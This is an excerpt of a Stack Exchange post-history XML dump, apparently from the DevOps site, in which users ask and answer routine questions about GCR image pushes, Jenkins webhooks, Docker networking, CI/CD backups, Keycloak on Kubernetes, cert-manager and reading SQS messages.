  <row Id="18553" PostHistoryTypeId="2" PostId="5796" RevisionGUID="fb0592c9-6608-458b-b6d2-e8cbcd6744e8" CreationDate="2018-12-20T06:16:06.413" UserId="2636" Text="I faced this same problem when I was trying to automate GCP kubernetes deployment using Jenkins by putting image in GCR and I created one service account giving admin permission in gcp IAM. &#xD;&#xA;&#xD;&#xA;I launched one VM giving same IAM service account access.&#xD;&#xA;&#xD;&#xA;I installed gcloud sdk using [here][1] follows below command.&#xD;&#xA;&#xD;&#xA;$gcloud init&#xD;&#xA;&#xD;&#xA;$gcloud auth configure-docker&#xD;&#xA;&#xD;&#xA;$cd my_api &amp;&amp; docker build --no-cache -t my_api .&#xD;&#xA;&#xD;&#xA;$docker tag my_api asia.gcr.io/firebase-mytalk/my_api:latest&#xD;&#xA;&#xD;&#xA;$gcloud docker -- push asia.gcr.io/firebase-mytalk/my_api:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/sdk/docs/quickstart-debian-ubuntu" ContentLicense="CC BY-SA 4.0" />
  <row Id="18557" PostHistoryTypeId="50" PostId="5485" RevisionGUID="b2bec33c-249c-471a-b558-f0347a394063" CreationDate="2018-12-20T09:03:15.643" UserId="-1" />
  <row Id="18562" PostHistoryTypeId="2" PostId="5798" RevisionGUID="abddca92-5805-46ad-8109-483cbbe0ba41" CreationDate="2018-12-20T13:55:22.537" UserId="11471" Text="From your comment&#xD;&#xA;&#xD;&#xA;&gt; I was hoping for unit tests of target code, some analysis à la valgrind all the way to CD&#xD;&#xA;&#xD;&#xA;I had [an answer to the Arduino StackExchange question that was mentioned](https://arduino.stackexchange.com/a/50534/42393), which addresses some of this.  But since writing that answer I've added some memory-checking features to [`arduino_ci`](https://github.com/ianfixes/arduino_ci) [of which, full disclosure, I am the author].&#xD;&#xA;&#xD;&#xA;Although it doesn't do static analysis, it can [detect certain kinds of memory problems while running unit tests](https://travis-ci.org/ianfixes/AcceleratedLED/builds/428427957#L185):&#xD;&#xA;&#xD;&#xA;    ==2284==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000280 at pc &#xD;&#xA;    0x0001032b987e bp 0x7ffeec94c0b0 sp 0x7ffeec94c0a8&#xD;&#xA;    READ of size 1 at 0x603000000280 thread T0&#xD;&#xA;        #0 0x1032b987d in Adafruit_WS2801::show() Adafruit_WS2801.cpp:203&#xD;&#xA;        #1 0x1032b84b1 in Strip::init(unsigned char, unsigned char) Strip.cpp:10&#xD;&#xA;        #2 0x1032baaff in test_set_strip_values::task() strip.cpp:10&#xD;&#xA;        #3 0x1032bd900 in Test::test() ArduinoUnitTests.h:165&#xD;&#xA;        #4 0x1032bcfd4 in Test::run(Test::ReporterTAP*) ArduinoUnitTests.h:137&#xD;&#xA;        #5 0x1032bcb79 in Test::run_and_report(int, char**) ArduinoUnitTests.h:155&#xD;&#xA;        #6 0x1032bcab8 in main strip.cpp:43&#xD;&#xA;        #7 0x7fff769d0114 in start (libdyld.dylib:x86_64+0x1114)&#xD;&#xA;&#xD;&#xA;More context in [the pull request that fixes this problem](https://github.com/adafruit/Adafruit-WS2801-Library/pull/20)" ContentLicense="CC BY-SA 4.0" />
  <row Id="18563" PostHistoryTypeId="2" PostId="5799" RevisionGUID="86af1314-3fae-45b4-bb3a-8948cea1e0e0" CreationDate="2018-12-20T14:08:54.603" UserId="10850" Text="FYI - New to DevOps. Please bear with me. Thanks&#xD;&#xA;&#xD;&#xA;I have a webhook created by Admin on Github Repo to trigger Jenkins build.&#xD;&#xA;I created a token from my Github(I am not admin on the repo) and used it in Github Connection in Jenkins Configure.&#xD;&#xA;&#xD;&#xA;Now if I commit when the token credentials are selected in Github in Jenkins Config, the Jenkins build is not triggered automatically. When I click on Build now the job is triggered and job status is pushed to Github.&#xD;&#xA;&#xD;&#xA;If I don't select any credentials in Github in Jenkins Config, the jenkins build is triggered on commit but the build status is not reflecting in Github.&#xD;&#xA;&#xD;&#xA;There is a manage hooks options also in Github in Jenkins Configure but that probably would require a token from Admin on repo?&#xD;&#xA;&#xD;&#xA;Can you guys guide me on what should I do now to &#xD;&#xA;1. Trigger the Jenkins Build on commit.&#xD;&#xA;2. Push the build status to Github.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="18564" PostHistoryTypeId="1" PostId="5799" RevisionGUID="86af1314-3fae-45b4-bb3a-8948cea1e0e0" CreationDate="2018-12-20T14:08:54.603" UserId="10850" Text="Push Jenkins Build status to Github and Trigger Jenkins build from Github Webhook" ContentLicense="CC BY-SA 4.0" />
  <row Id="18565" PostHistoryTypeId="3" PostId="5799" RevisionGUID="86af1314-3fae-45b4-bb3a-8948cea1e0e0" CreationDate="2018-12-20T14:08:54.603" UserId="10850" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18566" PostHistoryTypeId="2" PostId="5800" RevisionGUID="c7b0f2bf-9b08-4ec6-ac64-e72c6b327649" CreationDate="2018-12-20T15:38:34.220" UserId="11474" Text="I have two docker containers A and B that runs on the same user-defined network.&#xD;&#xA;&#xD;&#xA;Container A has a port published, container B hasnt.&#xD;&#xA;&#xD;&#xA;I do my requests on container's A published port, but container A needs to do requests on container B.&#xD;&#xA;&#xD;&#xA;The requests to B inside A are mapped to 0.0.0.0:(container B needed port)/route&#xD;&#xA;&#xD;&#xA;These fails.&#xD;&#xA;&#xD;&#xA;How could i call B inside A without getting and changing ip based on the network every time.&#xD;&#xA;&#xD;&#xA;Many thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="18567" PostHistoryTypeId="1" PostId="5800" RevisionGUID="c7b0f2bf-9b08-4ec6-ac64-e72c6b327649" CreationDate="2018-12-20T15:38:34.220" UserId="11474" Text="call container B inside container A using docker networks" ContentLicense="CC BY-SA 4.0" />
  <row Id="18568" PostHistoryTypeId="3" PostId="5800" RevisionGUID="c7b0f2bf-9b08-4ec6-ac64-e72c6b327649" CreationDate="2018-12-20T15:38:34.220" UserId="11474" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18569" PostHistoryTypeId="50" PostId="4157" RevisionGUID="8d0b301d-9849-4a24-a4bb-2a692f484c0f" CreationDate="2018-12-20T19:04:20.850" UserId="-1" />
  <row Id="18570" PostHistoryTypeId="2" PostId="5801" RevisionGUID="52c565c8-d7e7-4ae4-9071-b693f466a011" CreationDate="2018-12-20T21:31:02.300" UserId="11309" Text="I have used tar, dump, [Amanda][1], [Legato (EMC) Networker][2] and other backup software for making backups of systems.  However, I don't know the best tools for making backups in a CI/CD (Continuous Integration/Continuous Deployment) environment and doing &quot;rolling recoveries&quot; of systems &quot;as you go&quot; which is the case in a DevOps oriented system.&#xD;&#xA;&#xD;&#xA;  Many of these backup utilities are not necessarily best suited for a CI/CD environment because of the continuous changes taking place on both the development and production environment.&#xD;&#xA;&#xD;&#xA;I'm looking at programs like [Borg][3] &#xD;&#xA;and Git based backups like [Bup][4] &#xD;&#xA;These programs would allow for many incremental backups and finer granularity of backups and work well with CD tools like Ansible.  Even Ansible has a couple of way to [make backups][5].  However, there is no clean way to recover the most recent backup in an automated way. &#xD;&#xA;&#xD;&#xA;Relying on some form of caching or mirroring of your content on the cluster and hope it's not corrupted is not a way to go :(&#xD;&#xA;&#xD;&#xA;The things that would be backed up would be the config files of the servers, the database and uploaded content as these will almost always be unique and necessary.&#xD;&#xA;The containers, VMs, even the webapps would NOT be backed up as these should all be uniform and constantly updated under the CI/CD principles.&#xD;&#xA;Currently I use a combination of scp and tar into an archive directory sorted by date and machine.  I like to find something better if possible.&#xD;&#xA;&#xD;&#xA;I would like to know what are the best backup and recovery tools used in the CI/CD environment?  and an example of how you would configure it?&#xD;&#xA;&#xD;&#xA;I don't expect a &quot;magic bullet&quot; just some possible solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amanda.org/&#xD;&#xA;  [2]: https://www.emc.com/data-protection/networker.htm&#xD;&#xA;  [3]: https://www.borgbackup.org/&#xD;&#xA;  [4]: https://github.com/bup/bup&#xD;&#xA;  [5]: https://superuser.com/questions/732358/backup-a-server-using-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="18571" PostHistoryTypeId="1" PostId="5801" RevisionGUID="52c565c8-d7e7-4ae4-9071-b693f466a011" CreationDate="2018-12-20T21:31:02.300" UserId="11309" Text="What are tools that lend themselves for backup and recovery in a CI/CD environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18572" PostHistoryTypeId="3" PostId="5801" RevisionGUID="52c565c8-d7e7-4ae4-9071-b693f466a011" CreationDate="2018-12-20T21:31:02.300" UserId="11309" Text="&lt;ansible&gt;&lt;cicd&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18573" PostHistoryTypeId="2" PostId="5802" RevisionGUID="69566eec-2782-4097-a0e5-915f3da6a6a8" CreationDate="2018-12-20T23:25:14.637" UserId="4369" Text="Docker is going to far more well-known than Mock. I consistently see Docker used during build in companies that I work for. I think I have seen Mock before, but only because I am a Fedora user.&#xD;&#xA;&#xD;&#xA;However, Docker is not a build tool in of itself, so you can still use Mock inside a container. This is a great way to avoid the &quot;snowflake&quot; build server. By using Docker containers, your builds are consistent no matter what build tool you are using. You can standardise on Docker as a platform for builds, and leave developers to choose the best build tool (whether that's Mock or NPM).&#xD;&#xA;&#xD;&#xA;The only other suggestion I'd have is to run the builds on a CI server, and Docker makes this really easy.&#xD;&#xA;&#xD;&#xA;Here's one example of a company using Docker for builds (as well as tests and deploys): https://amaysim.engineering/the-3-musketeers-how-make-docker-and-compose-enable-us-to-release-many-times-a-day-e92ca816ef17" ContentLicense="CC BY-SA 4.0" />
  <row Id="18574" PostHistoryTypeId="2" PostId="5803" RevisionGUID="d9ac519f-26f4-4c1c-8c98-f4de915359b4" CreationDate="2018-12-21T03:18:51.780" UserId="6131" Text="I have searched all day trying to find a document on how to install the `libvirt_cloudinit` provider for Terraform.&#xD;&#xA;&#xD;&#xA;When I execute a `terraform plan` I encounter this error message:&#xD;&#xA;&#xD;&#xA;    Error: libvirt_cloudinit.commoninit: Provider doesn't support resource: libvirt_cloudinit" ContentLicense="CC BY-SA 4.0" />
  <row Id="18575" PostHistoryTypeId="1" PostId="5803" RevisionGUID="d9ac519f-26f4-4c1c-8c98-f4de915359b4" CreationDate="2018-12-21T03:18:51.780" UserId="6131" Text="How do I install Terraform libvrit_cloudinit?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18576" PostHistoryTypeId="3" PostId="5803" RevisionGUID="d9ac519f-26f4-4c1c-8c98-f4de915359b4" CreationDate="2018-12-21T03:18:51.780" UserId="6131" Text="&lt;terraform&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18577" PostHistoryTypeId="2" PostId="5804" RevisionGUID="7a5c604c-88e7-44ba-9b56-529a0a0ff9ef" CreationDate="2018-12-21T04:59:22.807" UserId="10690" Text="Triggering Jenkins using GitHub webhook should be a straight forward process. This [article][1] would help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@marc_best/trigger-a-jenkins-build-from-a-github-push-b922468ef1ae" ContentLicense="CC BY-SA 4.0" />
  <row Id="18578" PostHistoryTypeId="2" PostId="5805" RevisionGUID="db8c5afc-ab93-450e-85c1-36ad95f4af9b" CreationDate="2018-12-21T07:51:22.790" UserId="4369" Text="`https://wso2-apim-gateway/` is the URL that will point to the `gateway` service according to your configuration. This is defined by the `host: wso2-apim-gateway` part of your configuration.&#xD;&#xA;&#xD;&#xA;I can't see any further configuration required, except perhaps TLS certifications - if you receive a 5xx response, you may want to check the logs of the ingress-nginx deployment/replicaset." ContentLicense="CC BY-SA 4.0" />
  <row Id="18580" PostHistoryTypeId="5" PostId="5805" RevisionGUID="5b4bae6e-f2db-4997-b282-657e8953b463" CreationDate="2018-12-21T09:43:03.160" UserId="4369" Comment="added 129 characters in body" Text="`https://wso2-apim-gateway/` is the URL that will point to the `gateway` service according to your configuration. This is defined by the `host: wso2-apim-gateway` part of your configuration. Note that your load balancer (`172.17.17.100`) is a private IP address, so you will need to be on the same network to access it.&#xD;&#xA;&#xD;&#xA;I can't see any further configuration required, except perhaps TLS certifications - if you receive a 5xx response, you may want to check the logs of the ingress-nginx deployment/replicaset." ContentLicense="CC BY-SA 4.0" />
  <row Id="18581" PostHistoryTypeId="50" PostId="3421" RevisionGUID="36ef4686-0aa7-4e87-a6af-30e295e4db8d" CreationDate="2018-12-21T10:01:45.330" UserId="-1" />
  <row Id="18585" PostHistoryTypeId="50" PostId="4795" RevisionGUID="f97a07ea-632a-467c-ad6f-de7569aa181d" CreationDate="2018-12-21T11:01:05.200" UserId="-1" />
  <row Id="18586" PostHistoryTypeId="10" PostId="5732" RevisionGUID="8b3ed298-a8b1-43db-846b-6177f70997bb" CreationDate="2018-12-21T11:41:07.637" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;}]}" />
  <row Id="18587" PostHistoryTypeId="50" PostId="5226" RevisionGUID="11cd83b6-a009-4e62-9994-71f31d3b9585" CreationDate="2018-12-21T12:01:40.320" UserId="-1" />
  <row Id="18588" PostHistoryTypeId="2" PostId="5807" RevisionGUID="fff59b48-7b59-415b-a974-1af656afb60d" CreationDate="2018-12-21T12:56:14.393" UserId="10850" Text="Found the issue. Certificates were needed to be installed which was blocking connection to Github Enterprise. Once I installed those, the setup is working fine now.&#xD;&#xA;&#xD;&#xA;Thanks Everyone. :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="18590" PostHistoryTypeId="10" PostId="5799" RevisionGUID="a1792e56-1200-4948-89cd-8e013786a543" CreationDate="2018-12-21T14:26:45.673" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="18591" PostHistoryTypeId="50" PostId="5029" RevisionGUID="b345636a-fdcb-43f0-bb01-1f2b45881fcd" CreationDate="2018-12-21T15:01:00.193" UserId="-1" />
  <row Id="18592" PostHistoryTypeId="2" PostId="5808" RevisionGUID="56f0b92b-65a2-4123-8ea6-bcce82eb1b79" CreationDate="2018-12-21T15:13:16.670" UserId="11489" Text="I have a java application protected by keycloak (that's an standalone application for session control which runs on port 9080). &#xD;&#xA;&#xD;&#xA;Keycloak is available to world because during auth process, my app redirects to keycloak auth page, user enters his creds and then gets redirected to my app (with authenticated session).&#xD;&#xA; &#xD;&#xA;Right now, I'm running k8s. I use LoadBalancer service for traffic routing.&#xD;&#xA;The question is: how to setup keycloak service (let's say to run on http://external-ip.com:9080) and make it work with my java application?&#xD;&#xA;&#xD;&#xA;As for now, my app redirects just to &quot;http://keycloak&quot; (service name I set in Service definition) but not to http://my-app.com:9080/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18593" PostHistoryTypeId="1" PostId="5808" RevisionGUID="56f0b92b-65a2-4123-8ea6-bcce82eb1b79" CreationDate="2018-12-21T15:13:16.670" UserId="11489" Text="How to setup external service (keycloak) to protect an app in kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18594" PostHistoryTypeId="3" PostId="5808" RevisionGUID="56f0b92b-65a2-4123-8ea6-bcce82eb1b79" CreationDate="2018-12-21T15:13:16.670" UserId="11489" Text="&lt;kubernetes&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18595" PostHistoryTypeId="50" PostId="4800" RevisionGUID="775d75c2-d268-42a5-a514-7ef608d79797" CreationDate="2018-12-21T16:02:10.423" UserId="-1" />
  <row Id="18599" PostHistoryTypeId="50" PostId="3722" RevisionGUID="6844b904-9361-4b0f-bb0f-bbf2c6d35b91" CreationDate="2018-12-21T21:01:15.447" UserId="-1" />
  <row Id="18600" PostHistoryTypeId="50" PostId="5461" RevisionGUID="a903ea6e-5752-4745-a5dc-88e2bfce1a20" CreationDate="2018-12-21T23:01:20.263" UserId="-1" />
  <row Id="18601" PostHistoryTypeId="2" PostId="5810" RevisionGUID="c5aa4a1f-06ad-4719-8b64-233476704a22" CreationDate="2018-12-21T23:43:45.350" UserId="4175" Text="&gt; I understand this can be optimized to a level with multi-staged build.&#xD;&#xA;&#xD;&#xA;This is an understatement - you do not &quot;optimize&quot; that, but that's just the way you do it.&#xD;&#xA;&#xD;&#xA;To answer your question: yes, by all means run the build inside a docker container. How else would you be sure that at build time every library or dependency is the same? There is no reason whatsoever not to do it.&#xD;&#xA;&#xD;&#xA;Of course you need to pay a bit of attention when writing the Dockerfile. Ideally, whatever you change in your source code day-to-day, the only thing that happens when you re-run your build is the very last step of actually compiling your code and doing whatever it is you do with it afterwards (creating your deliverable archive...).&#xD;&#xA;&#xD;&#xA;You *need* to use multi-staged builds afterwards to get rid of all the intermediate steps, and especially all the compile-time-only components (and it's pretty easy as well).&#xD;&#xA;&#xD;&#xA;Note that there's usually some parts of your setup which are used by both the compile-time and run-time (unless you are just creating a .war file and sending that off to a webserver). I.e., if you have a ruby-on-rails application, the &quot;ruby-on-rails&quot; part could well be shared between compile-time and run-time. You want to make sure to put everything that is shared in this way *very early* in the process, and have a clean cut-off point that you can use as a `FROM` later on, copying the compiled files in as needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="18603" PostHistoryTypeId="50" PostId="4586" RevisionGUID="1598053c-9780-44fa-b90b-72af8f6903dc" CreationDate="2018-12-22T03:02:40.507" UserId="-1" />
  <row Id="18604" PostHistoryTypeId="50" PostId="5323" RevisionGUID="8d3410b8-e7e3-4bea-bc0c-0ea10a59786b" CreationDate="2018-12-22T08:02:35.537" UserId="-1" />
  <row Id="18608" PostHistoryTypeId="6" PostId="2298" RevisionGUID="1a8cd1bd-468f-4ff3-b9ed-089ac14e3889" CreationDate="2018-12-22T09:43:30.883" UserId="11416" Comment="Corrected tags" Text="&lt;jenkins&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18609" PostHistoryTypeId="24" PostId="2298" RevisionGUID="1a8cd1bd-468f-4ff3-b9ed-089ac14e3889" CreationDate="2018-12-22T09:43:30.883" Comment="Proposed by 11416 approved by 40, 13 edit id of 892" ContentLicense="CC BY-SA 4.0" />
  <row Id="18610" PostHistoryTypeId="5" PostId="2169" RevisionGUID="48844c20-3f7b-4c41-8ce9-4c1cf9a0acdb" CreationDate="2018-12-22T09:43:41.013" UserId="1180" Comment="OS X is now called macOS" Text="VMWare Fusion is a software system for hosting virtual machines on macOS. It is especially promoted on [the vendor's web site][1] as a way to run Windows on a Mac. It has also been used for running [Linux][2]. [Wikipedia][3] has a detailed discussion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vmware.com/products/fusion/overview.html&#xD;&#xA;  [2]: http://www.macinstruct.com/node/394&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/VMware_Fusion" ContentLicense="CC BY-SA 4.0" />
  <row Id="18611" PostHistoryTypeId="24" PostId="2169" RevisionGUID="48844c20-3f7b-4c41-8ce9-4c1cf9a0acdb" CreationDate="2018-12-22T09:43:41.013" Comment="Proposed by 1180 approved by 40, 13 edit id of 890" ContentLicense="CC BY-SA 4.0" />
  <row Id="18612" PostHistoryTypeId="5" PostId="2170" RevisionGUID="e0eaade1-b01b-4aef-8059-4909d8f4b3d6" CreationDate="2018-12-22T09:43:44.703" UserId="1180" Comment="OS X is now called macOS" Text="A software system for running virtual machines (a hypervisor) used to run Windows or other operating systems on a Macintosh under macOS." ContentLicense="CC BY-SA 4.0" />
  <row Id="18613" PostHistoryTypeId="24" PostId="2170" RevisionGUID="e0eaade1-b01b-4aef-8059-4909d8f4b3d6" CreationDate="2018-12-22T09:43:44.703" Comment="Proposed by 1180 approved by 40, 13 edit id of 891" ContentLicense="CC BY-SA 4.0" />
  <row Id="18615" PostHistoryTypeId="50" PostId="5513" RevisionGUID="76d3508b-7775-4ba6-8de2-8996b47da5a5" CreationDate="2018-12-22T10:01:40.507" UserId="-1" />
  <row Id="18617" PostHistoryTypeId="50" PostId="4830" RevisionGUID="2c739247-9a32-4240-9ab5-9666847a686f" CreationDate="2018-12-22T20:02:50.600" UserId="-1" />
  <row Id="18619" PostHistoryTypeId="4" PostId="3552" RevisionGUID="d595a059-34b6-4e47-b40b-126b40933fc1" CreationDate="2018-12-23T12:28:13.003" UserId="210" Comment="edited title" Text="How to find interdependencies between pods in a Kubernetes cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18620" PostHistoryTypeId="50" PostId="3089" RevisionGUID="ff45e300-b934-4eec-ad1f-d6622de24f46" CreationDate="2018-12-23T13:02:35.577" UserId="-1" />
  <row Id="18621" PostHistoryTypeId="2" PostId="5813" RevisionGUID="81a2c939-a510-44c7-bc74-e79e7f34bef6" CreationDate="2018-12-23T15:49:39.100" UserId="210" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;kubectl logs nginx-ingress-controller-X -n nginx-ingress&#xD;&#xA;&#xD;&#xA;    W1222 06:52:04.575115       8 controller.go:1058] Error getting SSL&#xD;&#xA;    certificate &quot;app/app-tls&quot;: local SSL certificate app/app-tls was not&#xD;&#xA;    found. Using default certificate&#xD;&#xA;    W1222 06:52:09.955475       8 backend_ssl.go:48] Error obtaining X.509&#xD;&#xA;    certificate: no object matching key &quot;app/app-tls&quot; in local store&#xD;&#xA;&#xD;&#xA;kubectl describe certificates nexus-tls -n cert-manager&#xD;&#xA;&#xD;&#xA;    Message:               Certificate issued successfully&#xD;&#xA;    Reason:                CertIssued&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;It is unclear to me where to deploy the certmanager. I have deployed in a separate namespace, the cert has been created successfully, but the certificate cannot be found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18622" PostHistoryTypeId="1" PostId="5813" RevisionGUID="81a2c939-a510-44c7-bc74-e79e7f34bef6" CreationDate="2018-12-23T15:49:39.100" UserId="210" Text="Why can the certificate not be found by the Ingress Controller, while the certificate has been issued?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18623" PostHistoryTypeId="3" PostId="5813" RevisionGUID="81a2c939-a510-44c7-bc74-e79e7f34bef6" CreationDate="2018-12-23T15:49:39.100" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="18624" PostHistoryTypeId="2" PostId="5814" RevisionGUID="71bb15f0-8ddd-4c40-8f4d-b6f92db3378b" CreationDate="2018-12-23T15:51:18.467" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="18625" PostHistoryTypeId="1" PostId="5814" RevisionGUID="71bb15f0-8ddd-4c40-8f4d-b6f92db3378b" CreationDate="2018-12-23T15:51:18.467" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="18626" PostHistoryTypeId="2" PostId="5815" RevisionGUID="e6f819d2-be9b-4d4b-8b48-b0006ed43411" CreationDate="2018-12-23T15:51:18.467" UserId="210" Text="Use this tag if the question is about cert-manager, i.e. a service that has to be deployed in k8s and is able to automate the renewal of certbot certificates." ContentLicense="CC BY-SA 4.0" />
  <row Id="18627" PostHistoryTypeId="1" PostId="5815" RevisionGUID="e6f819d2-be9b-4d4b-8b48-b0006ed43411" CreationDate="2018-12-23T15:51:18.467" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="18628" PostHistoryTypeId="12" PostId="5813" RevisionGUID="10aa0938-1725-4d88-90ae-e2a0641043b2" CreationDate="2018-12-23T18:49:15.730" UserId="210" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="18629" PostHistoryTypeId="50" PostId="1931" RevisionGUID="b23b8bb3-dc6c-49da-a872-927c65f6fd7b" CreationDate="2018-12-23T21:01:50.407" UserId="-1" />
  <row Id="18634" PostHistoryTypeId="2" PostId="5816" RevisionGUID="338c1ca6-293f-4e69-8bd6-cb85c1f7979e" CreationDate="2018-12-24T09:21:56.507" UserId="786" Text="I think from a DevOps POV that you are approaching this from slightly the wrong angle. DevOps thinking for example is that there is no need to backup a configuration file; the configuration file is written by a configuration management tool such as Chef and can be recreated at any time. &#xD;&#xA;&#xD;&#xA;The database does need to be backed up obviously as that is the truly stateful component of the whole system; you don't mention which you are using but head on over to DBA.SE and someone (perhaps me) can give you some specific pointers on that side of things.&#xD;&#xA;&#xD;&#xA;For the uploaded content, if this is outside the database, I'd recommend some filesystem-snapshot based approach, it's easy to do and low overhead. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18635" PostHistoryTypeId="2" PostId="5817" RevisionGUID="e579854c-b510-469e-b34d-ca2e77d519a5" CreationDate="2018-12-24T10:09:47.103" UserId="11506" Text="I am new to SQS and as a POC, I am only pushing &quot;var/log/auth.log&quot; to SQS. I now want to listen to the SQS que. I am able to do it, however, its displaying the entire json file. I want to display only &quot;data&quot; value of it.&#xD;&#xA;&#xD;&#xA;here's what my script looks like.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    # Get the service resource&#xD;&#xA;    sqs = boto3.resource('sqs')&#xD;&#xA;    client = boto3.client('sqs')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    response = client.receive_message(&#xD;&#xA;        QueueUrl='https://sqs.us-east-1.amazonaws.com/XXXXX/my-queue-name',&#xD;&#xA;        AttributeNames=[&#xD;&#xA;            'Messages',&#xD;&#xA;        ],&#xD;&#xA;        MessageAttributeNames=[&#xD;&#xA;            'data',&#xD;&#xA;        ],&#xD;&#xA;        MaxNumberOfMessages=1,&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    print(response)&#xD;&#xA;&#xD;&#xA;And here's the sample output:&#xD;&#xA;&#xD;&#xA;        vagrant@terraform:~/sqs$ python3 file.py &#xD;&#xA;    {'Messages': [{'Body': '{&quot;project&quot;: &quot;XXX&quot;, &quot;event_name&quot;: &quot;system-events&quot;, &quot;datetime&quot;: &quot;2018-12-24 06:00:37.797510&quot;, &quot;environment&quot;: &quot;XXX&quot;, &quot;client&quot;: &quot;XXX&quot;, &quot;data&quot;: &quot;Dec 24 06:00:37 app--01 sshd[29393]: Received disconnect from 106.51.38.57: 11: disconnected by user\\n&quot;}', 'MessageId': '95b5a167-958b-4536-a71e-2cd2bd0cf486', 'MD5OfBody': 'a1be00aa3b1f306d9f46c3201795f257', 'ReceiptHandle': 'AQEBIxEGSJerpfrPH6yO5qTwzlJ7cD88Eijdz8uPaUXemQF8PeNuYN/7np9ZfXDrgTaSdAt8zqodND2fI0sDjzgwIsrlnZC291dR4wmey3HvQ3ZQkSA8zl7/pOJzPcDI/byNXbx4P3YBloey3cdJrZ6dwCoICsSZdEVIbqbwLfEPuGwHCVY96FcvVwu/od6F2Xk9v2v5XlSan//veuDAVaXRZs9IX0ynSbDWK/6y+0D4HwJjeMbzXG2m31JakOghJRcvY6PJCTS5euXBWKCrVxgtWBNYIBvQOGuUxhtp2wweNiC62odC/AoGvPwxP60P9NHTJte7KrapOaNlbL61yQuGc1+3eoSBsJIeEiBYpZp7C58JI0jyG75VAtHiNLxckMI0qEbR9lG/8b/QvITYjYsj4J1K7cwSi8qobimghkIBXEY='}], 'ResponseMetadata': {'HTTPHeaders': {'x-amzn-requestid': '74ed6f55-914b-5a78-b88c-3bcf237f2355', 'date': 'Mon, 24 Dec 2018 10:07:48 GMT', 'content-type': 'text/xml', 'content-length': '1246'}, 'HTTPStatusCode': 200, 'RetryAttempts': 0, 'RequestId': '74ed6f55-914b-5a78-b88c-3bcf237f2355'}}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18636" PostHistoryTypeId="1" PostId="5817" RevisionGUID="e579854c-b510-469e-b34d-ca2e77d519a5" CreationDate="2018-12-24T10:09:47.103" UserId="11506" Text="SQS Displaying only &quot;data&quot; of logs" ContentLicense="CC BY-SA 4.0" />
  <row Id="18637" PostHistoryTypeId="3" PostId="5817" RevisionGUID="e579854c-b510-469e-b34d-ca2e77d519a5" CreationDate="2018-12-24T10:09:47.103" UserId="11506" Text="&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18638" PostHistoryTypeId="13" PostId="5813" RevisionGUID="edfb7e83-603f-4daa-92f4-fe22f813c6d3" CreationDate="2018-12-24T10:25:09.493" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
